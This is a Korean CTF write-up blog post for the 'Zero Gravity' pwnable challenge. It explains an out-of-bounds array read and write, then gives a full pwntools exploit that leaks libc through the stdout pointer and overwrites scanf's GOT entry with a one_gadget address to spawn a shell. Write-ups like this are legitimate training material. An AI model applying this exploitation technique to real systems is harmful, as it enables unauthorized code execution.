일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- hack
- typhooncon
- pwnable
- dreamhack
- python
- Gon
- hacking
- KAIST
- 해킹
- WEB
- webhacking
- 워게임
- cryptography
- christmas ctf
- got overwrite
- Wreckctf
- System Hacking
- 웹해킹
- webhacking.kr
- reversing
- crypto
- hacking game
- CTF
- TeamH4C
- h4cking game
- 2022 Fall GoN Open Qual CTF
- writeup
- ctf player
- Buffer Overflow
- Wargame
Archives
- Today
- Total
deayzl's blog
[2022 Fall GoN Open Qual CTF] Zero Gravity writeup 본문
CTF writeup/GoN Open Qual CTF
[2022 Fall GoN Open Qual CTF] Zero Gravity writeup
deayzl 2022. 8. 31. 21:00
ghidra 로 디컴파일 한 모습이다.
일단 arr 의 주소를 확인해보면
맨 밑에 cnt 값이 들어있는 주소가 위치해 있는 것을 알 수 있다.
이 값을 1 이상으로 바꿔주면 루프를 여러번 돌 수 있을 것이다.
그리고 이 elf 파일은 partial relro 라서 got overwrite 가 가능하다.
위쪽에 stdout, stdin 주소가 있다.
read index 에 대한 range 설정도 없으니, libc leak 이 가능하다.
그리고 arr 주소와 got 주소의 거리를 계산한 후, 하위 4바이트를 overwrite 해주면 된다.
from pwn import *
p = remote('host3.dreamhack.games', 22847)
e = ELF('/home/kali/Downloads/dreamhack/gon/zero_gravity')
libc = ELF('/home/kali/Downloads/dreamhack/gon/libc6_2.35-0ubuntu3.1_amd64.so')
arr_start = 0x006010a0
printf_got = e.got['printf']
setvbuf_got = e.got['setvbuf']
memset_got = e.got['memset']
scanf_got = e.got['__isoc99_scanf']
def read(idx):
p.recvuntil(b'>> ')
p.send_raw(b'r\x00')
p.recvuntil(b'>> ')
p.send_raw(str(idx).encode() + b'\n')
return p.recvuntil(b'\n')
def add(idx, val):
p.recvuntil(b'>> ')
p.send_raw(b'a\x00')
p.recvuntil(b'>> ')
p.send_raw(str(idx).encode() + b'\n')
p.recvuntil(b'>> ')
p.send_raw(str(val).encode() + b'\n')
def float_to_hex(f):
return hex(struct.unpack('<I', struct.pack('<f', f))[0])
def hex_to_float(hex):
return struct.unpack('!f', bytes.fromhex(hex))[0]
add(16, 180)
stdout_addr = 0x00601060
line = read((stdout_addr - arr_start) // 4).decode()[:-1]
fl1 = float(line)
line = read((stdout_addr - arr_start) // 4 + 1).decode()[:-1]
fl2 = float(line)
stdout_hex = float_to_hex(fl2) + float_to_hex(fl1)[2:]
stdout = int(stdout_hex, 16)
og_list = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8, 0xebd52, 0xebdaf, 0xebdb3]
lb = stdout - libc.symbols['_IO_2_1_stdout_']
printf = lb + libc.symbols['printf']
print('printf expect : ' + hex(printf))
og = lb + og_list[3]
print('og : ' + hex(og))
line = read((scanf_got - arr_start) // 4).decode()[:-1]
fl1 = float(line)
line = read((scanf_got - arr_start) // 4 + 1).decode()[:-1]
fl2 = float(line)
scanf_hex = float_to_hex(fl2) + float_to_hex(fl1)[2:]
print('memset hex : ' + scanf_hex)
scanf = int(scanf_hex, 16)
low_4bytes_og_hex = '0x' + hex(og)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
og_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))
low_4bytes_og_hex = '0x' + hex(printf)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
printf_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))
low_4bytes_og_hex = '0x' + hex(scanf)[6:]
print('low_4bytes_og_hex : ' + low_4bytes_og_hex)
scanf_float = hex_to_float(low_4bytes_og_hex[2:].rjust(8, '0'))
print(og_float - scanf_float)
add((scanf_got - arr_start) // 4, og_float - scanf_float)
p.interactive()
(뭐든지 4바이트 단위로 계산된다는 것을 유의해야 한다)
'CTF writeup > GoN Open Qual CTF' 카테고리의 다른 글
[2022 Fall GoN Open Qual CTF] Private Storage writeup (0) | 2022.08.31 |
---|---|
[2022 Fall GoN Open Qual CTF] Bomblab - Hard writeup (0) | 2022.08.31 |
[2022 Fall GoN Open Qual CTF] SleepingShark writeup (0) | 2022.08.31 |
[2022 Fall GoN Open Qual CTF] Api Portal writeup (0) | 2022.08.31 |
[2022 Fall GoN Open Qual CTF] Checkers writeup (0) | 2022.08.31 |
Comments